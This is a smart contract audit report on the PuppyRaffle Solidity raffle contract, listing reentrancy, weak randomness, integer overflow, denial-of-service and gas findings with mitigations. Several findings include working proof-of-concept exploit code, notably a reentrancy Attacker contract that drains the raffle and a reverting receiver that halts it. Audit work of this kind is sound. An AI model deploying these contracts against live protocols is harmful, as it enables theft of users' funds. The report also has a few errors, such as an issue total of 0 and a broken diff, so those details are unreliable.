HEXXA

Puppy Raffle Audit Report

Prepared by: HEXXA Protocol

Puppy raffle Audit Report

Title: Puppy Raffle Audit Report

- author: Gaurang Bharadava
- date: December 9, 2024

Prepared by: HEXXA Protocol

- Lead Auditors: Gaurang Bharadava

Assisting Auditors:

- None

Table of contents

▶ Details
See table

- Puppy raffle Audit Report
- Table of contents
- About Gaurang Bharadava
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
- Protocol Summary
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance
    - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
    - [H-4] Malicious winner can forever halt the raffle
  - Medium
    - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants
    - [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
    - [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

    - [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` for non-existing player and for players at index `0`, causing a player at index 0 to incorrectly think they have not entered thr raffle.
- Informational
    - [I-1] Floating pragmas
    - [I-2] Using an Outdated Version of Solidity is Not Recommended
    - [I-3] Zero address validation
    - [I-4] does not follow CEI, which is not a best practice
    - [I-5] Use of "magic" numbers is discouraged
    - [I-6] `PuppyRaffle::_isActivePlayer` is not used anywhere and should remove
- Gas
    - [G-1] Unchanged state variables should be declare constant or immutable.
    - [G-2] State variables in loops should be cashed.

About Gaurang Bharadava

Gaurang Bharadava is experienced smart contract engineer and security researcher. Building HEXXA Protocol, will provide Smart contract development and security audit.

Disclaimer

The HEXXA Protocol team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Info	6
Gas	2
Total	0

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: `PuppyRaffle::refund` does not check for reentract player, as result, enable participants to drain the contract balance. In `PuppyRaffle::refund` function, we first make external call to send money to `msg.sender` address. after that call we update the player array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered into the raffle could have fallback/receive function that calls `PuppyRaffle::refund` function again and again until the contract balance becomes `zero`.

Impact: All fees paide by players can be stolen by malicios player.

Proof of Concept: You can add this test to your `PuppyRaffleTest.t.sol`.

```
    function testReenter() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        Attacker attacker = new Attacker(puppyRaffle);
        address attackUser = makeAddr('attackUser');
        vm.deal(attackUser,1 ether);

        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ",
startingAttackerBalance);
        console.log("Starting victim contract balance: ",
startingContractBalance);

        console.log("ending attacker contract balance: ",
address(attacker).balance);
        console.log("ending victim contract balance: ",
address(puppyRaffle).balance);

    }
```

As well as add the Attaker contract.

```
contract Attacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory player = new address[](1);
        player[0] = address(this);

        puppyRaffle.enterRaffle{value:entranceFee}(player);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);

    }

    receive() external payable {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation: To fix this, we should have `PuppyRaffle::refund` function update the player array before making an external call. additionally, we should move the event emmiter up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hasing of `msg.sender`,`block.timestamp` and `block.difficulty` can result in predictable rendom number. And it is not good rendom number. malicious user can manipulate these values or know then ahead of time to choose the winner of the raffle themselves.

Impect: Any user can choose the winner in raffle, winning the money and select the "rarest" puppy, essentially making it such that all puppy have same rarity, since you can choose puppy.

Proof Of Concept: there are few attack vecotrs here.

1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when/how to participate into the raffle.
2. User can manipulate the `msg.sender` value to result in their index to being winner.

Using on-chain values as a rendomness seed is a well known attck vector in blocchain space.

Recommended Mitigation: Consider using an oracle for your rendomness like `Chainlink VRF`.

[H-3] Integer overflow in `PuppyRaffle::totalFees` looses fee.

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max;
    // myVar will be 18446744073709551615
    myVar = myVar + 1;
    // myVar will be 0
```

Impect: In `PuppyRaffle:selectWinner` function `totalFees` are fees to pay to `feesAddress`. which collect it leter in `PuppyRaffle::withdrawFees` function. If `totalFees` overflows, the `feesAddress` may not collect the correct amount of fees Stucked in contract.

Prrof Of Concept:

1. Firs we conclude raffle for 4 players.
2. We then add 89 additional players into the raffle, and conclude as well
3. `totalFees` will be

```
totalFees = totalFees = 800000000000000000 + 17800000000000000000;
// but it will
totalFees = 153255926290448384;
```

4. You will now not to be able to withdreas fees due to this line in `PuppyRaffle::withdrawFees`.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

Proof Of Code: You can add this into `PuppyRaffleTest.t.sol`.

```
function testTotalFeesOverflow() public playersEntered {
        //First we conclude the raffle with 4 player.
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 staringFees = puppyRaffle.totalFees();
        console.log("The starting total fees is: ", staringFees);

        //Now We conclude the raffle with 89 players.
        uint256 playerNum = 89;
        address[] memory players = new address[](playerNum);

        for(uint256 i=0;i<playerNum;i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: playerNum * entranceFee}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 endingFees = puppyRaffle.totalFees();
        console.log("The endinng total fees: ", endingFees);
        assert(endingFees < staringFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use newer version of solidity that does not allow integer to overflow by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.0;
```

2. Use `uint256` instead of `uint64` for `totalFees`.

```diff
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove this line from `PuppyRaffle::withdrawFees` function.

```diff
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is choosen, the `selectWinner` function sends the prize to the corresponding address with an external call to the winner account.

```
    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `recieve` function, Or these functions were implemented but reverted, the external call would fail. and the execution of `selectWinner` function will halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

Impact: Because it would be impossible to distribute the prize and start a new round, the raffle will halt forever.

Prrof Of Concept:

Proof Of Code: add this to `PuppyRaffleTest.t.sol`.

```
    function testRaffleWouldHaltForever() public {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        address[] memory players = new address[](4);
        players[0] = address(new AttackerContract());
        players[1] = address(new AttackerContract());
        players[2] = address(new AttackerContract());
        players[3] = address(new AttackerContract());
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

For example, The Attacker cotract will be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Recommended Mitigation: Favor pull-payment instead of push-payment. This means modifying the `selectWinner` function so that the winner can manually claim the prize by calling the function instead of having the contract automatically send the fund during execution of the `selectWinner` function.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function has nested loop machanism to check duplicated in the `players` array. However, The longer the `PuppyRaffle::players` array is, the more checks a new player have to make. That means the new player entered right after the raffle starts will cost less then who enter leter.

Impact: The gas cost for the new players will increase as more players enter the raffle.

Proof of Concept: If we have two sets of 100 players, the gas cost will be much more then for the second set of the players with compare to first set of the players.

This is due to nested for loop to check duplicate.

```
@>       for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate 
player");
            }
        }
        emit RaffleEnter(newPlayers);
```

Proof Of Code place the following test into the `PuppyRaffleTest.t.sol`.

```
function testDOS() public {
        //set the gas price value to 1.
        vm.txGasPrice(1);

        //Enter 100 players into the raffle.
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        //creating 100 players with diffrant addresses.
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        // console.log("The starting gas value is :", gasStart);
        // console.log("The ending gas value is :", gasEnd);
        // console.log("The gas used by first 100 players is: ", gasUsedFirst);

        // now for second 100 players.
        address[] memory playersTwo = new address[](playersNum);

        //creating 100 players with diffrant addresses.
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
        uint256 gasEndTwo = gasleft();

        uint256 gasUsedTwo = (gasStartTwo - gasEndTwo) * tx.gasprice;

        console.log("The starting gas value is :", gasStartTwo);
        console.log("The ending gas value is :", gasEndTwo);
        console.log("The gas used by first 100 players is: ", gasUsedTwo);

        assert(gasUsedFirst < gasUsedTwo);
    }
```

Recommended Mitigation: There are few recomendations.

1. Consider allowing duplicates. User can make new wallet addresses, and can enter into raffle multiple times. Therefor this duplicate check mechanism will not prevent user to enter multiple time.
2. Consider using mapping to check wether user has entered into the raffle or not. this whould allow check in constant time.

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: 
Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate 
player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: 
Raffle not over");
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdraw` function checks `totalFees` equals the ETH balance of the contract(`address(this).balance`). since the contract does not have payable `receive` or `fallback` function so that the user can not send money to contract. But by using `selfdestruct` a malicious user `selfdestruct` a contract to send ETH to the raffle contract.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There 
are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof Of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.

2. Malicious user send 1 wei via `selfdeascruct` to the raffle contract.
3. `feeAddress` is no longer able to withdraw fees.

Recommended Mitigation: Remove the balance check in the `PuppyRaffle::withdraw` function.

```diff
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: `uint64` is too small as compare to `uint256` as the max value of the `uint64` is `18446744073709551615` and the max value of `uint256` is `115792089237316195423570985008687907853269984665640564039457584007913129639935`. In `PuppyRaffle::selectWinner` function we have typecast `fee` variable to `uint64`. if we have collected fee more then max value of `uint64` then the value will result in false.

Impect: The fee will loss and stuck into contract and `feeAddress` may not able get appropriate fee for raffle.

Prrof Of Concept: Below is the example for typecast `uint256` to `uint64`, in which the user has lost the fee.

```
uint64 myuint64 = type(uint64).max; // myuint64 = 18446744073709551615 Or 18.446744073709551615 ETH.
uint256 myvalue = 20e18; // 20.000000000000000000
myuint64 = uint64(myvalue); // myuint64 = 1.553255926290448384 ETH
```

Recommended Mitigation: We have to avoid unsafe typecast so set the `totalFees` to a `uint256` and remove the casting.

```diff
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` for non-existing player and for players at index `0`, causing a player at index 0 to incorrectly think they have not entered thr raffle.

Description: If a player is in `PuppyRaffle::players` at index `0`, `PuppyRaffle::getActivePlayerIndex` function will return `0`, but according to netspec, it will also return 0 when there is no player in `players` array.

```
    function getActivePlayerIndex(address player) external view returns (uint256)
{
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        // q what if a player is at index 0.
        //@audit if the player at index 0 it will return 0, but 0 denotes there is
no player in the array according to function defination.
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered thr raffle, and attempt to enter raffle again, wasting gas.

Proof of Concept:

1. player enters the raffle. they are the first enterant.
2. `PuppyRaffle::getActivePlayerIndex` function return `0`.
3. User thinks that they have not entered correctly due to doccumentation.

Recommended Mitigation: Revert if the player is not in `players` array instead for return index. Also you can use `int256` fro returning `-1`.

Informational

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

Recommended Mitigation: Lock up pragma versions.

```diff
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
0.8.18
```

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Zero address validation

Description: The PuppyRaffle contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress
(src/PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165)
lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the feeAddress is updated.

[I-4] does not follow CEI, which is not a best practice

It's best to keep code cleaen and follow CEI (Checks, Effects, Interactions).

~~~
```diff
~~~

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");

  ```
  ```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] `PuppyRaffle::_isActivePlayer` is not used anywhere and should remove

Gas

[G-1] Unchanged state variables should be declare constant or immutable.

Description: Reading from storage is much more expensive than reading from constant or immutable variable.

Recommended Mitigation: -`PuppyRaffle::raffleDuration` should be `immutable`. -`PuppyRaffle::commonImageUri` should be `constant`. -`PuppyRaffle::rareImageUri` should be `constant`. -`PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] State variables in loops should be cashed.

Description: Everytime you call `newPlayers.length`, you read form storage, as oppesed to memory which is more gas efficient.

Recommended Mitigation:

```
+        uint256 length = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```